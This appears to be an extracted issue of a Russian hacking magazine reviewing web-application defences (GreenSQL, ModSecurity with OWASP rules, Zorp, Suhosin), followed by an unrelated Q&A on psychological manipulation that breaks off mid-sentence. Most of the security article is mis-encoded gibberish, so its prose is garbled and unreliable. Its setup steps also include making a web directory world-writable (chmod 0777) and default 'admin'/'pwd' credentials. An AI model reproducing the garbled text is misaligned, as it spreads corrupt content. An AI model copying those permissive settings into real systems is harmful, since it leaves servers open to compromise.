êîòîðàÿ âû÷èñëÿåòñÿ äëÿ êàæäîãî çàïðîñà ê ÑÓÁÄ.  Â ÷èñëå ôàêòîðîâ, 
âëèÿþùèõ íà êîýôôèöèåíò ðèñêà, ìîãóò âûñòóïàòü ñàìûå ïîïóëÿðíûå 
ïðèåìû õàêåðîâ: îáðàùåíèå ê ñëóæåáíûì òàáëèöàì è êîíôèäåí-
öèàëüíûì äàííûì, çàïðîñû, âñåãäà âîçâðàùàþùèå TRUE, ïîïûòêà 
îáíóëèòü ïîëÿ ñ ïàðîëåì, èñïîëüçîâàíèå â çàïðîñå OR, ñðàâíåíèå êîí-
ñòàíò è äðóãèå. Ïðè ïðåâûøåíèè óðîâíÿ ðèñêà óñòàíîâëåííîãî ïîðîãà 
çàïðîñ áëîêèðóåòñÿ, à ïðèëîæåíèþ îòïðàâëÿþòñÿ ïóñòûå äàííûå.
GreenSQL ïîääåðæèâàåò íåñêîëüêî ðåæèìîâ ðàáîòû: 
• Simulation Mode — ïàññèâíàÿ ñèñòåìà îáíàðóæåíèÿ àòàê (IDS), òîëü-
êî ïðîòîêîëèðóþùàÿ SQL-çàïðîñû è âûäàþùàÿ ïðåäóïðåæäåíèÿ íà 
êîíñîëü óïðàâëåíèÿ;
• Blocking Suspicious Commands — àòàêè íå òîëüêî îáíàðóæèâàþòñÿ, 
íî è áëîêèðóþòñÿ (IPS) â ñîîòâåòñòâèè ñ óñòàíîâëåííûìè ïðàâèëàìè, 
óêàçûâàþùèìè íà àíîìàëüíîñòü çàïðîñà;
• Active protection from unknown queries — áëîêèðîâàíèå âñåõ íåèç-
âåñòíûõ çàïðîñîâ (db firewall);

• Learning mode ïðåäíàçíà÷åí äëÿ ïðîãîíà è íàñòðîéêè ïðàâèë â «÷èñ-
òîé» ñðåäå, ÷òî ïîçâîëÿåò ñôîðìèðîâàòü áåëûé ñïèñîê äëÿ ïðåäîòâðà-
ùåíèÿ ëîæíûõ ñðàáàòûâàíèé âïîñëåäñòâèè.
Ñðàçó ïîñëå óñòàíîâêè ðàçðàáîò÷èêè ðåêîìåíäóþò âêëþ÷èòü 
«Learning mode», à ïîñëå ñáîðà äàííûõ ïåðåâåñòè GreenSQL â ðåæèì 
«Active protection».
Íà ñàéòå ïðîåêòà äîñòóïíû òðè âåðñèè ôàéåðà: Community, Light è 
Pro. Ïåðâàÿ — áåñïëàòíàÿ (ïî ëèöåíçèè GNU GPL) è ïðåäîñòàâëÿåò 
îñíîâíûå âîçìîæíîñòè, ïîääåðæèâàÿ ÑÓÁÄ MySQL è PostgreSQL 
(ïîÿâèëàñü â âåðñèè 1.2) è óñòàíîâêó â Linux. Êîììåð÷åñêèå âåðñèè, 
êðîìå ýòîãî, óìåþò çàùèùàòü MS SQL Server è ðàáîòàþò åùå è íà 
Win2k3/2k8.
Ñàìî çàùèùàåìîå ïðèëîæåíèå ðîëè íå èãðàåò — ýòî ìîæåò áûòü 
ïîðòàë, CMS è âîîáùå âñå, ÷òî óãîäíî. GreenSQL îáû÷íî óñòàíàâëè-
âàåòñÿ íà òîì æå ñåðâåðå, ÷òî è SQL-áàçà, õîòÿ ýòî íåîáÿçàòåëüíî. Ïî 
óìîë÷àíèþ GreenSQL ñëóøàåò ëîêàëüíûé ïîðò 127.0.0.1:3305, ïîñëå 
àíàëèçà ïåðåíàïðàâëÿÿ SQL-çàïðîñû íà ñòàíäàðòíûé ïîðò MySQL — 
127.0.0.1:3306. Ïðè íåîáõîäèìîñòè ýòè ïàðàìåòðû ëåãêî èçìåíèòü â 
êîíñîëè. 
Óïðàâëåíèå ïðîãðàììîé è ïðîñìîòð ñòàòèñòèêè çàïðîñîâ è áëîêè-
ðîâîê ïðîèçâîäèòñÿ ÷åðåç êîíñîëü èëè âåá-èíòåðôåéñ. Ïðè ïîìîùè 
îäíîé êîíñîëè ìîæíî óïðàâëÿòü çàùèòîé íåñêîëüêèõ ÑÓÁÄ. 
Êðàòêî ðàçáåðåì íàñòðîéêó GreenSQL Community. Íà ñàéòå ïðîåêòà 
äîñòóïíû èñõîäíûå òåêñòû è ïàêåòû äëÿ Ubuntu, RHEL/CentOS 5, 
Fedora, Debian, SLE/openSUSE è Mandriva. Óñòàíîâêà â Ubuntu 
ïðîñòà: ñêà÷èâàåì deb-ïàêåò, çàòåì óñòàíàâëèâàåì èç íåãî, êàê 
îáû÷íî: 

$ sudo dpkg -i greensql-fw_1.2.2_amd64.deb

Ïîñëå ýòîãî â ïîÿâèâøåìñÿ îêíå íóæíî âûáðàòü òèï ÑÓÁÄ, êîòîðóþ áó-
äåò çàùèùàòü GreenSQL, IP-àäðåñ èëè èìÿ ñåðâåðà, ïîðò, äàííûå root, 
íàçâàíèå áàçû äàííûõ, â êîòîðîé áóäóò õðàíèòüñÿ íàñòðîéêè. Äàëüøå 
ñêðèïò ïðåäëîæèò ñîçäàòü íîâóþ ó÷åòíóþ çàïèñü äëÿ ïîäêëþ÷åíèÿ ê 
ÁÄ. Â ñëó÷àå, åñëè â äàëüíåéøåì ïîíàäîáèòñÿ èçìåíèòü ýòè óñòàíîâêè, 
ìîæíî ïîñòóïèòü ïðîñòî:

$ sudo dpkg-reconfigure greensql-fw

Êàê âàðèàíò, ìîæíî çàïóñòèòü ñêðèïò «greensql-create-db». 
Êîíôèãóðàöèîííûå ôàéëû GreenSQL íàõîäÿòñÿ â êàòàëîãå /etc/
greensq. Îñíîâíîé ôàéë íàçûâàåòñÿ greensql.conf è ñîäåðæèò 

Îáçîð íåñòàíäàðòíûõ ôàéåðîâ è èíñòðóìåíòîâ 
çàùèòû âåá-ñåðâèñîâ



XÀÊÅÐ  12  /143/  10  127 

íàñòðîéêè ïîäêëþ÷åíèÿ ê ÁÄ, æóðíàëèðîâàíèÿ è 
ðèñêîâ. Óñòàíîâêè ðèñêîâ ïî óìîë÷àíèþ ïîäõîäÿò äëÿ 
áîëüøèíñòâà ñëó÷àåâ è íè÷åãî òðîãàòü âíóòðè îáû÷íî 
íå íóæíî, õîòÿ ïðè íåîáõîäèìîñòè ìîæíî ïîèãðàòüñÿ 
öèôðàìè ðèñêîâ, ïðîñìàòðèâàÿ æóðíàë (/var/log/
greensql.log) è ïîäãîíÿÿ ïîä ñâîè óñëîâèÿ. Âñå ïîëÿ 
êîììåíòèðîâàíû, ïîýòîìó èõ íàçíà÷åíèå äîëæíî 
áûòü ïîíÿòíûì.
Ïðîâåðèòü, ðàáîòàåò ëè GreenSQL, î÷åíü ïðîñòî: ïîäêëþ-
÷àåìñÿ ê 3305 ïîðòó, íàñ äîëæíû ïåðåáðîñèòü íà 3306, íà 
êîòîðîì ñêó÷àåò MySQL.

$ mysql -h 127.0.0.1 -P 3305 -u root -p

Âñå êàê îáû÷íî, íî, íàïðèìåð, íà çàïðîñ «show databases» 
ìû ïîëó÷èì ïóñòîé ñïèñîê. Îñòàëîñü ïåðåïðàâèòü 
íàñòðîéêè âñåõ êëèåíòîâ, ðàáîòàþùèõ ñ ÁÄ, íà íîâûé 
ïîðò 3305, õîòÿ ïðîùå ïîñòóïèòü íàîáîðîò, çàñòàâèâ 
GreenSQL ñëóøàòü ïîðò 3306, à ìóñêóë ïåðåñòðîèòü íà 
òîò æå 3305. Òîãäà òðîãàòü êëèåíòñêèå ïðèëîæåíèÿ íå 
ïîíàäîáèòñÿ. Äëÿ óïðàâëåíèÿ ðàçðàáîò÷èêè ïðåäëàãàþò 
âåá-èíòåðôåéñ. ×òîáû åãî íàñòðîèòü, ïîäêëþ÷àåì ôàéë 
/etc/greensql/greensql-apache.conf â êîíôèãå àïà÷à:

$ sudo nano /etc/apache2/apache2.conf

Include /etc/greensql/greensql-apache.conf

Â greensql-apache.conf òàêæå íóæíî ïðîèçâåñòè íåêîòî-
ðûå íàñòðîéêè:

$ sudo nano /etc/greensql/greensql-apache.conf

# ñíèìàåì êîììåíòàðèè ñ ýòèõ ñòðîê

<IfModule mod_alias.c>

 Alias /greensql "/usr/share/greensql-fw"

</IfModule>

Ðàçðåøàåì âñåì çàïèñü â ïîäêàòàëîã templates_c:

$ sudo chmod 0777 /usr/share/greensql-fw/

templates_c

Â ôàéëå config.php óñòàíàâëèâàåì êîððåêòíûå äàííûå 
äëÿ äîñòóïà ê ÁÄ:

$ sudo nano /usr/share/greensql-fw/config.php

$db_type = "mysql";

$db_host = "localhost";

$dbport=3306

$db_name = "greendb";

$db_user = "green";

$db_pass = "pwd";

Âêëþ÷àåì mod_alias è ïåðåçàïóñêàåì âåá-ñåðâåð:

$ sudo a2enmod alias

$ sudo service apache2 restart

Òåïåðü ðåãèñòðèðóåìñÿ ÷åðåç âåá-èíòåðôåéñ, èñïîëüçî-
âàâ äëÿ âõîäà ó÷åòíóþ çàïèñü «admin» ñ ïàðîëåì «pwd».

Файер для апача — 
ModSecurity
Îñíîâîé äëÿ âñåõ âåá-ïðèëîæåíèé ÿâëÿåòñÿ, åñòåñòâåííî, 
âåá-ñåðâåð. Ïîýòîìó íåóäèâèòåëüíî, ÷òî ïîïûòîê îñòàíî-
âèòü àòàêó íà ýòîì óðîâíå ïðåäïðèíèìàåòñÿ äîñòàòî÷íî 
ìíîãî. Óñèëèÿìè ðàçíûõ îðãàíèçàöèé ñîçäàí êîíñîðöè-
óì WASC (Web Application Security Consortium, webappsec.
org) — íåêîììåð÷åñêàÿ îðãàíèçàöèÿ, ñîñòîÿùàÿ èç 
ýêñïåðòîâ, çàäà÷à êîòîðîé — ñáîð è îáìåí èíôîðìàöèåé 
ïî áåçîïàñíîñòè âåá-ïðèëîæåíèé, ðàçðàáîòêà ðåêîìåí-
äàöèé è êðèòåðèåâ. Ïëþñ êî âñåìó, WASC ïîääåðæèâàåò 
íåñêîëüêî äåñÿòêîâ ïðîåêòîâ, ñâÿçàííûõ ñ áåçîïàñíîñ-
òüþ â âåá. Ôàéåðâîëû âåá-ïðèëîæåíèé ModSecurity 
(modsecurity.org) è WebDefend (breach.com) ÿâëÿþòñÿ, 
íàâåðíîå, ñàìûìè èçâåñòíûìè èç íèõ. Ïî ñóòè, îíè ðàçðà-
áàòûâàþòñÿ îäíîé è òîé æå ãðóïïîé. Ïåðâûé (ñòàðòîâàë 
â 2003 ãîäó) ðàñïðîñòðàíÿåòñÿ ïî OpenSource-ëèöåíçèè, 
âòîðîé ÿâëÿåòñÿ ïîëíîñòüþ êîììåð÷åñêèì ïðîäóêòîì. 
Ðåàëèçîâàí ModSecurity â âèäå ìîäóëÿ ê âåá-ñåðâåðó 
Apache 2.0/2.2, åãî èñïîëüçîâàíèå ïðîçðà÷íî è íå òðåáóåò 
èçìåíåíèé â íàñòðîéêå ñåðâèñîâ. Íàñòðîéêà ðàáîòû 
ïðîèçâîäèòñÿ áëàãîäàðÿ ïðàâèëàì, êîòîðûå îïèñûâà-
þòñÿ ïðè ïîìîùè ãèáêîãî ÿçûêà. Â ñëó÷àå îáíàðóæåíèÿ 
ïðîáëåìíîãî ìåñòà çà÷àñòóþ ïðîùå ñîçäàòü íîâîå 
ïðàâèëî, áëîêèðóþùåå óÿçâèìîñòü, à çàòåì óæå íå ñïåøà 
ðàçîáðàòüñÿ ñ ïðèëîæåíèåì, íå îñòàíàâëèâàÿ åãî ðàáîòó. 
Èìåííî ïîýòîìó ModSecurity èäåàëüíî ïîäõîäèò äëÿ 

•Сайт проекта 
GreenSQL-FW — 
greensql.net

•Сайт WASC — 
webappsec.org

•Сайт ModSecurity — 
modsecurity.org

•Проект OWASP 
ModSecurity Сore 
Rule Set — owasp.
org/index.php/
Category:OWASP_
ModSecurity_Core_
Rule_Set_Project

•Проект suPHP — 
suphp.org

•Сайт проекта 
htscanner — pecl.
php.net/package/
htscanner

 •Сайт проекта 
Suhosin — hardened-
php.net/suhosin

links
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çàùèòû âåá-ñåðâèñîâ îò èçâåñòíûõ è íåèçâåñòíûõ àòàê.  Ïðàâèëà, ïî 
ñóòè, îïðåäåëÿþò âîçìîæíîñòè òåêóùåé óñòàíîâêè ModSecurity. Ñàìè 
ðàçðàáîò÷èêè çàíèìàþòñÿ èñêëþ÷èòåëüíî ðàçðàáîòêîé ModSecurity 
è äîáàâëåíèåì íîâûõ ôóíêöèé, à ïðàâèëà ñîçäàþòñÿ ñòîðîííèìè îðãà-
íèçàöèÿìè. Òàê, ïîä ðóêîâîäñòâîì OWASP ðàçðàáàòûâàþòñÿ Ñore Rule 
Set (CRS, owasp.org/index.php/Category:OWASP_ModSecurity_Core_
Rule_Set_Project), íàõîäÿùèåñÿ â ñâîáîäíîì äîñòóïå è ïðåäëàãàþùèå 
îáùóþ çàùèòó âåá-ñåðâèñîâ îò âñåõ èçâåñòíûõ è íåèçâåñòíûõ (0-day) 
àòàê è èõ ðàçíîâèäíîñòåé. Ïðàâèëà CRS îáåñïå÷èâàþò êîíòðîëü HTTP-
çàãîëîâêîâ, âûÿâëÿÿ àíîìàëüíîñòü è ñîîòâåòñòâèå òðåáîâàíèÿì, 
îáíàðóæèâàþò ïîïûòêè ñêàíèðîâàíèÿ, äåòåêòîð àòàê è îáðàùåíèÿ ê 
áýêäîðàì. Ïðàâèëà ïåðèîäè÷åñêè ìîæíî îáíîâëÿòü ÷åðåç ñåðâèñ Rules 
Subscription Service. Âîçìîæíà ïðîâåðêà ôàéëîâ ïðè ïîìîùè ClamAV.
Êðîìå ýòîãî ðåàëèçîâàíû ðàñøèðåííûå (íî íå áåñïëàòíûå) ðóëåñåòû, 
Enhanced Rule Set (ERS), îáåñïå÷èâàþùèå çàùèòó êîììåð÷åñêèõ 
ïðèëîæåíèé (IIS, Outlook Web Access è äð.), ïîääåðæêó ñòàíäàðòà 

PCI DSS (Payment Card Industry Data Security Standard), ïðîâåðêó 
ñëîæíîñòè ïàðîëÿ è ïðî÷åå.  Íà ñåãîäíÿ àêòóàëüíîé ÿâëÿåòñÿ âåðñèÿ 
ModSecurity 2.5.12, â êîòîðîé èñïîëüçîâàí áîëåå áûñòðûé ìåõàíèçì 
ïîèñêà ñîîòâåòñòâèé, êýøèðîâàíèÿ ïðîìåæóòî÷íûõ çíà÷åíèé äëÿ 
êàæäîãî çàïðîñà, âñòàâêè ïðîèçâîëüíîãî òåêñòà â HTML-êîíòåíò 
(Content Injection), àíàëèç çàïðîñà íà íàëè÷èå íîìåðîâ êðåäèòíûõ 
êàðòî÷åê (îïåðàòîð @verifyCC), óíèâåðñàëüíàÿ çàùèòà îò XSS ÷åðåç 
ëîêàëüíûå ññûëêè â PDF-ôàéëàõ. ßçûê ïîëó÷èë íîâûå äèðåêòèâû: 
skipAfter, SecMarker, ctl:ruleRemoveById (äèíàìè÷åñêîå óäàëåíèå 
ïðàâèë), ïåðåìåííóþ GEO äëÿ ïðèâÿçêè ïðàâèë ê ãåîãðàôè÷åñêîé 
ïðèíàäëåæíîñòè ïîñåòèòåëÿ, äèðåêòèâó SecRuleScript, êîòîðàÿ ïîç-
âîëÿåò ïîäêëþ÷àòü ñöåíàðèè íà ÿçûêå Lua. Äîáàâëåí íîâûé ñêðèïò, 
rules-updater.pl, ïîçâîëÿþùèé àâòîìàòè÷åñêè îáíîâëÿòü ïðàâèëà èç 
âíåøíåãî ðåïîçèòîðèÿ. 

Ôàéåðâîë óðîâíÿ 
ïðèëîæåíèé Zorp
Ðàçðàáîò÷èê ïîïóëÿðíîãî Syslog-NG, âåíãð Áàëàçñ Øàéäëåð 
(Balazs Scheidler), ÿâëÿåòñÿ òàêæå àâòîðîì åùå îäíîãî ïðîåê-
òà — Zorp. Åãî çàäà÷à — çàùèòà ïðèëîæåíèé îò íàïðàâëåííûõ 
àòàê. ßâëÿÿñü ðàñøèðåíèåì ê Netfilter/iptables, Zorp ïðåäñòàâ-
ëÿåò ñîáîé ïðîçðà÷íûé ïðîêñè, êîòîðûé ðàçëè÷àåò ïðîòîêî-
ëû âåðõíåãî óðîâíÿ, «çíàåò» èõ îñîáåííîñòè è íà îñíîâàíèè 
íàñòðîåê ìîæåò ïðèíÿòü ðåøåíèå î íåîáõîäèìîñòè ïðîäîëæå-
íèÿ òåêóùåãî ñîåäèíåíèÿ. Âåðñèÿ Zorp GPL (www.balabit.com) 
äîñòóïíà ïî ëèöåíçèè GNU GPL.
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Ïàêåò ñ ModSecurity äîñòóïåí â ðåïîçèòîðèÿõ âñåõ îñ-
íîâíûõ äèñòðèáóòèâîâ. Ñìîòðèì àêòóàëüíîñòü ïàêåòà â 
ðåïîçèòîðèè Ubuntu:

$ sudo apt-cache search libapache-mod-security 

| grep -i version

Version: 2.5.11-1

Â ïðèíöèïå, íå ñàìûé ïîñëåäíèé ðåëèç, íî ìîæíî ñòà-
âèòü:

$ sudo apt-get install libapache-mod-security

Êðîìå èñõîäíûõ òåêñòîâ, íà ñàéòå ìîæíî íàéòè ññûëêè 
íà ðåïîçèòîðèè ñòîðîííèõ ðàçðàáîò÷èêîâ, ïðåäëàãàþ-
ùèõ ñáîðêè ïîä Debian, RHEL/CentOS, Fedora, Gentoo, 
FreeBSD, Apache ïîä Windows è äðóãèå. Ïðàâäà, íà ïîâåð-
êó îêàçûâàåòñÿ, ÷òî íåêîòîðûå âåðñèè â íèõ åùå áîëåå 
ïîçäíèå. 
Ñàìîñòîÿòåëüíàÿ ñáîðêà ìîäóëÿ ïðè ïîìîùè èñõîäíûõ 
òåêñòîâ íå ñëîæíà, õîòÿ åå ïîðÿäîê ÷óòü ìåíÿåòñÿ îò âåð-
ñèè ê âåðñèè. Âñå çàâèñèìîñòè âûòÿíóòü ïðîñòî:

$ sudo apt-get build-dep libapache-mod-

security

Äëÿ ðàáîòû ModSecurity ïîíàäîáèòñÿ ìîäóëü unique-id, â 
Ubuntu  ïðîñòî âêëþ÷àåì åãî:

$ sudo a2enmod unique_id 

Ïðè ñàìîñòîÿòåëüíîé ñáîðêå Apache íåîáõîäèìî ñêîíôè-
ãóðèðîâàòü âåá-ñåðâåð ñ ïàðàìåòðàìè «--enable-unique-
id» è «--with-pcre». Ðàñïàêîâûâàåì àðõèâ: 

$ tar tar xzvf modsecurity-apache_2.5.12.tar.

gz

$ cd modsecurity-apache_2.5.12/apache2 

$ ./configure

Äëÿ ñáîðêè èñïîëüçóåòñÿ apxs (APache eXtenSion tool), 
êîòîðûé óñòàíàâëèâàåòñÿ èç çàâèñèìîñòåé:

$ make

$ make test

All tests passed (576).

Îïöèîíàëüíî ìîæíî ñîáðàòü êîëëåêòîð æóðíàëîâ 
ModSecurity Log Collector, ââåäÿ «make mlogc». Ñòàâèì:

$ sudo make install

Ïîñëå ÷åãî ñëåäóåò èçìåíèòü ïðàâà äîñòóïà ê ñîáðàííîìó 
ìîäóëþ:

$ sudo chmod 644 /usr/lib/apache2/modules/

mod_security2.so

Ðåäàêòèðóåì êîíôèã âåá-ñåðâåðà, ÷òîáû çàãðóæàòü íóæ-
íûå áèáëèîòåêè è ìîäóëè:

$ sudo nano /etc/apache2/apache2.conf

LoadFile /usr/lib/libxml2.so

LoadFile /usr/lib/liblua5.1.so

LoadModule security2_module modules/mod_

security2.so

Îñòàëîñü îòðåäàêòèðîâàòü êîíôèãóðàöèîííûé ôàéë 
ModSecurity. Ïðè óñòàíîâêå ñ ïîìîùüþ ïàêåòîâ îí 
ñêîïèðóåòñÿ àâòîìàòè÷åñêè, à âîò åñëè òû èñïîëüçîâàë 
èñõîäíèêè, òî ïðèäåòñÿ ñäåëàòü ýòî âðó÷íóþ:

$ sudo cp modsecurity-apache_2.5.12/

modsecurity.conf-minimal /etc/apache2/mod_

security.conf

Ñèíòàêñèñ è ñïèñîê ïàðàìåòðîâ â êîíôèãå â ïîñëåäíèõ 
âåðñèÿõ èçìåíèëñÿ. Íàñòðîåê ñòàëî áîëüøå, íî íà ïåðâûõ 
ïîðàõ ìîæíî èñïîëüçîâàòü äåôîëòíûå. Âñå ïîäðîáíîñ-
òè ìîæíî ïðîñìîòðåòü â äîêóìåíòàöèè ModSecurity 
(modsecurity.org/documentation/modsecurity-
apache/2.5.12). 
Âìåñòå ñ ModSecurity ïîñòàâëÿþòñÿ ïðàâèëà CRS, íîâóþ 
âåðñèþ êîòîðûõ âñåãäà ìîæíî ñêà÷àòü íà OWASP (òåêó-
ùàÿ âåðñèÿ 2.0.8, åñòü è äîñòóï ê CVS). Íàïðèìåð, â àðõè-
âå ñ èñõîäíûìè òåêñòàìè ëåæàò äâà êîíôèãà, íàñòðàèâà-
þùèõ ðàáîòó CRS è ïîäêàòàëîãà ñ ïðàâèëàìè base_rules 

Модуль Suhosin находится в отдельном пакете

Конфигурационный файл Suhosin

Подробно 
об AppArmor, SELinux 
и TOMOYO Linux 
читай в статье «Гонка 
вооружений» 
в ][ от 08.2010
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INFO
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è optional_rules. Ñîçäàäèì äëÿ ïðàâèë ïîäêàòàëîã /etc/apache2/
modsecurity è ñêîïèðóåì â íåãî ôàéëû:

$ sudo mkdir /etc/apache2/modsecurity

$ tar xzvf modsecurity-crs_2.0.8.tar.gz 

$ sudo mv -v modsecurity-crs_2.0.8/* /etc/apache2/

modsecurity/

 
Òåïåðü âñå ôàéëû ñëåäóåò ïîäêëþ÷èòü â êîíôèãå àïà÷à:

$ sudo nano /etc/apache2/apache2.conf

<IfModule security2_module>

 Include modsecurity/*.conf

 Include modsecurity/base_rules/*.conf

 # è åñëè òðåáóþòñÿ îïöèîíàëüíûå ïðàâèëà

 Include modsecurity/optional_rules/*.conf

</IfModule>

Â êîíôèãå modsecurity_crs_10_config.conf, îïèñûâàþùåì ðàáîòó 
ïðàâèë ModSecurity, óêàçàíû îáùèå óñòàíîâêè; èçìåíÿÿ çíà÷åíèå 
íåêîòîðûõ ïàðàìåòðîâ, ìîæíî ñäåëàòü èõ áîëåå ëîÿëüíûìè èëè 
íàîáîðîò, óñòàíîâèòü ïàðàíîèäàëüíûé ðåæèì.
Â êàæäûõ êîíêðåòíûõ óñëîâèÿõ ëó÷øå ðàçáèðàòüñÿ ïîñòåïåííî.
Òåïåðü ìîæíî ïåðåçàïóñêàòü àïà÷:

$ sudo service apache2 start

È íàñëàæäàòüñÿ çàùèùåííûìè ñåðâèñàìè. Âñþ èíôîðìàöèþ ïî 
ðàáîòå MosSecurity ìîæíî ïîëó÷èòü, àíàëèçèðóÿ æóðíàëû, è â ñëó÷àå 
íåîáõîäèìîñòè êîððåêòèðîâàòü íàñòðîéêè è ïðàâèëà.

Suhosin — щит для PHP
Ñóäÿ ïî ðåçóëüòàòàì ðàçíûõ îïðîñîâ, ÿçûê PHP ÿâëÿåòñÿ îñíîâíûì 
ïðè ðàçðàáîòêå âåá-ïðèëîæåíèé, åìó îòäàþò ïðåäïî÷òåíèå êàê 
ìèíèìóì ïîëîâèíà ïðîãðàììèñòîâ. Íî íå âñå îíè îáëàäàþò îïû-
òîì, äîñòàòî÷íûì äëÿ òîãî, ÷òîáû ïðåäóñìîòðåòü âñå ïðîáëåìû, â 
ðåçóëüòàòå êîòîðûõ íàñêîðî íàïèñàííûå ñàéòû ëåãêî ïîäâåðãàþòñÿ 
âçëîìó. Íà ñåãîäíÿ èçâåñòíû íåñêîëüêî ïðîåêòîâ, ïîçâîëÿþùèõ 
ïîâûñèòü çàùèùåííîñòü: suPHP, htscanner è Suhosin. Ïðîåêò suPHP 
(suphp.org) ïðåäëàãàåò ìîäóëü äëÿ Apache (mod_suphp) è îáîëî÷êó 
äëÿ PHP, ñî÷åòàíèå êîòîðûõ ïîçâîëÿåò âûïîëíÿòü PHP-ñêðèïòû ñ 
ïðàâàìè èõ âëàäåëüöà. Â htscanner (pecl.php.net/package/htscanner) 
ïîøëè åùå äàëüøå, ïîçâîëèâ íàñòðàèâàòü äîñòóï ê ñêðèïòàì â 
ñòèëå htaccess. È, íàêîíåö, Suhosin (hardened-php.net/suhosin), 

çàäà÷à êîòîðîãî êóäà ñåðüåçíåå — íèçêîóðîâíåâàÿ çàùèòà äàííûõ 
ïðîòèâ àòàê íà ïåðåïîëíåíèå áóôåðà, óÿçâèìîñòåé ôîðìàòíîé 
ñòðîêè, ðàçëè÷íûõ ðåàëèçàöèé include (îò îøèáîê â ðåàëèçàöèè 
ôóíêöèè  realpath è ýêñïåðèìåíòàëüíîé ïîääåðæêè çàùèòû SQL  
äî ôèëüòðàöèè íåêîòîðîãî êîíòåíòà è ìíîãîãî äðóãîãî). Ïîëíûé 
ñïèñîê ïðèâåäåí íà ñàéòå ïðîåêòà â Feature List (hardened-php.net/
suhosin/a_feature_list.html). 
Ôóíêöèîíàëüíî Suhosin ðàçäåëåí íà äâà êîìïîíåíòà, êîòîðûå ìîãóò 
èñïîëüçîâàòüñÿ âìåñòå èëè íåçàâèñèìî äðóã îò äðóãà. Ïåðâàÿ ÷àñòü 
ðåàëèçîâàíà â âèäå ïàò÷à ê ÿäðó PHP, îáåñïå÷èâàåò íèçêîóðîâíåâóþ 
çàùèòó (Engine Protection). Íåêîòîðûå ïðèëîæåíèÿ íå îñîáî äðóæàò ñ 
Suhosin-ïàò÷àìè, ïîýòîìó íå âñåãäà â äèñòðèáóòèâàõ îí èäåò â øòàò-
íîé ïîñòàâêå PHP. 
Ïðîâåðèòü íàëè÷èå ïàò÷à â ñâîåé ñáîðêå PHP î÷åíü ïðîñòî. Â Ubuntu 
10.04:

$ sudo apt-get install php5-cli

$ php -v

PHP 5.3.2-1ubuntu4.5 with Suhosin-Patch (cli) (built: 

Sep 17 2010 13:49:46)

Âûâîä ïîêàçûâàåò, ÷òî PHP óæå ñîáðàí ñ ïàò÷åì Suhosin. Âòîðàÿ, 
âûñîêîóðîâíåâàÿ ÷àñòü ðåàëèçîâàíà â âèäå ìîäóëÿ PHP suhosin.so, êî-
òîðûé ëåãêî óñòàíîâèòü â ëþáóþ ñèñòåìó áåç ïåðåñáîðêè ñàìîãî PHP. 
Ïî ñðàâíåíèþ ñ ïàò÷åì, ìîäóëü îáåñïå÷èâàåò áîëüøåå êîëè÷åñòâî 
ôóíêöèé. Êðîìå ðàçëè÷íîãî ðîäà áëîêèðîâîê ïåðåìåííûõ, îòñûëêè 
êîäà îòâåòà è ïåðåíàïðàâëåíèÿ áðàóçåðà ïðåäóñìîòðåíà çàïèñü ñîáû-
òèé â æóðíàë èëè ïåðåäà÷à âî âíåøíèé ñêðèïò/ïðîãðàììó. Â Ubuntu 
îí ïî óìîë÷àíèþ íå óñòàíàâëèâàåòñÿ. 

$ sudo apt-get install php5-suhosin

Êðîìå ñîáñòâåííî ìîäóëÿ óñòàíàâëèâàåòñÿ êîíôèãóðàöèîííûé ôàéë 
/etc/php5/conf.d/suhosin.ini. Ïåðåìåííûõ âíóòðè ìíîãî, âñå îíè, 
êðîìå ðàçðåøàþùåãî çàãðóçêó ìîäóëÿ, çàêîììåíòèðîâàíû. Îïèñà-
íèå ïàðàìåòðîâ ìîæíî íàéòè â man-ñòðàíèöå è íà ñàéòå ïðîåêòà â 
äîêóìåíòå Configuration (hardened-php.net/suhosin/configuration.
html). 

Заключение
Çàùèòèòü âåá-ïðèëîæåíèå, äàæå íå çíàÿ âñåõ åãî îñîáåííîñòåé, âïîë-
íå ðåàëüíî. Òåì íå ìåíåå, ëþáîå èç ðàññìîòðåííûõ ðåøåíèé òðåáóåò 
ïîäãîíêè ïîä êîíêðåòíûå óñëîâèÿ, ÷òîáû ðàáîòàòü ñ ìàêñèìàëüíîé 
ýôôåêòèâíîñòüþ! z
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Реклама



Увертюра
Тема манипуляции человеческим сознани-
ем поднимается во многих книгах, статьях, 
исследованиях, художественных и докумен-
тальных фильмах. Постоянно придумыва-
ются новые и более эффективные способы 
влияния, потому что предыдущие устарева-
ют по мере появления в паблике и по мере 
смены ментальности людей и их ценностей. 
К примеру, еще 50 лет назад в нашей стране 
слово «беспартийный» считалось клеймом, 
15-20 лет назад оно перешло в разряд того, 
чем можно гордиться, сейчас оно неактуаль-
но вообще. Та же история и с другими субъ-
ективными понятиями. Однако, есть базовые 
категории, такие как чувства, инстинкты или 
имидж; их можно взять за основу, наложить 
на них актуальные для современности кате-
гории — и вуаля! — шаблон для эффектив-
ной манипуляции готов, его нужно только 
немного подкорректировать под сиюминут-
ную ситуацию. Мы заметили, что основные 
вопросы по манипуляциям, которые задают 
читатели, касаются именно базовых кате-
горий, и они с завидной частотой повторя-
ются. Поэтому сегодня посвящаем статью 
ответам на такие вопросы.

Q:Q: Чем манипуляция отличается от 
скрытого управления?
А: А: Манипуляция — это один из частных 
приемов скрытого управления. Отличие 
состоит в том, что при манипуляции мы 
управляем непосредственно человеком или 
его личными желаниями, мотивами, поступ-
ками против его воли или в обход ее, при 

этом манипуляция часто носит аморальный 
характер и предполагает личную выгоду 
манипулятора; скрытое управление приме-
няется для достижения общих целей, чаще 
всего именно в разрезе трудовых отноше-
ний, например, если сотрудники по каким-то 
личным причинам не хотят или не могут 
исполнять свои обязанности. Можно, конеч-
но, принудительно заставить их заняться 
неугодным делом, вызывая на себя шквал 
критики и безответственное отношение к 
занятию, но можно придумать эффективную 
систему мотивации (тоже элемент скрытого 
управления), тем самым устранив конфликт 
между личными капризами сотрудников и их 
трудовыми обязанностями. Скрытое управ-
ление использует преимущественно благо-
родные методы психологического влияния.

Q:Q: Как происходит манипуляция, за 
счет чего она действует?
A: A: Для того, чтобы манипуляция состоя-
лась, нужна коммуникация между людьми, 
другими словами, отклик, реакция одного 
человека на действия или слова другого. 
Например, ты собираешься приобрести 
новое железо, а девушка обижается, что 
ты никак не купишь ей новый телефон. 
Проанализируем ситуацию: ее обида = 
косвенное действие, на которое ты должен 
среагировать и изменить свои планы (так 
хочет она). Если ты вступил в коммуника-
цию, ты почувствуешь вину, передумаешь, 
отодвинешь свои намерения на второй 
план, — в итоге ее манипуляция удалась. 
Если ты не вступил в коммуникацию, ты вос-

принимаешь ее обиду просто как факт, тебя 
не касающийся, соответственно ничего не 
